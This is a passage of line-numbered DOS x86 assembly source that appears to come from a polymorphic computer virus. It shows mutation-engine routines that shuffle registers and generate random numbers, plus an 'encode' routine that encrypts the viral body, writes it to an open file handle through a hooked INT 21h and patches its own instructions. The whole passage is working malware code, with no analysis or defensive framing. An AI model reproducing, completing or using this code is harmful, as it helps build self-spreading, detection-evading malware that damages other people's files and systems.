  2467. del_reg:        push    ax
  2468.                 cbw
  2469.                 call    conv_num                ; convert to bit number
  2470.                 or      bp,ax                   ; restore register
  2471.                 pop     ax
  2472.                 retn
  2473.  
  2474. ;=====( convert number to bit map )==========================================;
  2475.  
  2476. conv_num:       push    cx
  2477.                 mov     cl,al
  2478.                 mov     al,1
  2479.                 shl     al,cl
  2480.                 pop     cx
  2481.                 retn
  2482.  
  2483. ;=====( randomize order of BX/CX/DX/SI, then call )==========================;
  2484.  
  2485. order:          call    garble
  2486.                 mov     ax,2
  2487.                 call    random
  2488.                 xchg    cx,ax
  2489.                 inc     cx
  2490. order_loop:     call    boolean
  2491.                 jnz     order1
  2492.                 xchg    bx,ax
  2493. order1:         call    boolean
  2494.                 jnz     order2
  2495.                 xchg    dx,ax
  2496. order2:         call    boolean
  2497.                 jnz     order3
  2498.                 xchg    si,ax
  2499. order3:         loop    order_loop
  2500.                 push    si dx bx ax
  2501. order_ret:      retn
  2502.  
  2503. ;=====( return random number between 0 and ffff in bx )======================;
  2504.  
  2505. random_bx:      xchg    bx,ax
  2506.                 call    random
  2507.                 xchg    bx,ax
  2508.                 retn
  2509.  
  2510. ;=====( flip Sign bit )======================================================;
  2511.  
  2512. boolean:        push    ax
  2513.                 mov     ax,1
  2514.                 call    random
  2515.                 pop     ax
  2516.                 retn
  2517.  
  2518. ;=====( return random number between 0 and ffff )============================;
  2519.  
  2520. random_1:       mov     ax,-1
  2521.  
  2522. ;=====( Generate random number between 0 and AX )============================;
  2523.  
  2524. random:         push    ds bx cx dx ax
  2525.                 xor     ax,ax
  2526.                 int     1ah
  2527.                 push    cs
  2528.                 pop     ds
  2529.                 in      al,40h
  2530.                 xchg    cx,ax
  2531.                 xchg    dx,ax
  2532.                 mov     bx,offset ran_num
  2533.                 xor     ds:[bx],ax
  2534.                 rol     word ptr ds:[bx],cl
  2535.                 xor     cx,ds:[bx]
  2536.                 rol     ax,cl
  2537.                 xor     dx,ds:[bx]
  2538.                 ror     dx,cl
  2539.                 xor     ax,dx
  2540.                 imul    dx
  2541.                 xor     ax,dx
  2542.                 xor     ds:[bx],ax
  2543.                 pop     cx
  2544.                 xor     dx,dx
  2545.                 inc     cx
  2546.                 je      random_ret
  2547.                 div     cx
  2548.                 xchg    ax,dx
  2549. random_ret:     pop     dx cx bx ds
  2550.                 or      ax,ax
  2551.                 retn
  2552.                     
  2553. ran_num         dw      ?
  2554.  
  2555. ;=====( Encrypts the code/writes it/decrypts code )==========================;
  2556.  
  2557. encode:         mov     bx,ds:handle
  2558.                 mov     ax,0
  2559. key             =       word ptr $ - 2
  2560.                 mov     cx,(decrypt-v_start)/2
  2561.                 xor     di,di
  2562. encode_break:   clc
  2563.                 clc
  2564.                 clc
  2565.                 clc                     ; XCHG CX,AX XCHG CX,AX
  2566.                 clc
  2567.                 clc                     ; CLC ADD AX,xxxx / XOR [DI],AX
  2568.                 clc
  2569.                 clc                     ; XOR [DI],AX / CLC ADD AX,xxxx
  2570.                 inc     di
  2571.                 inc     di
  2572.                 loop    encode_break
  2573. encode_ret      =       byte ptr $    
  2574.                 mov     ah,40h
  2575.                 mov     cx,file_size
  2576.                 cwd
  2577.                 pushf
  2578.                 call    cs:int_21
  2579.                 jc      encode_flag
  2580.                 sub     ax,cx
  2581. encode_flag:    pushf
  2582.                 pop     bp
  2583.                 mov     word ptr ds:[si],0
  2584. encode_flip     =       word ptr $ - 2
  2585.                 mov     byte ptr ds:write_buff[encode_ret-encode],0c3h
  2586.                 jmp     encode
  2587. encode_end:
  2588.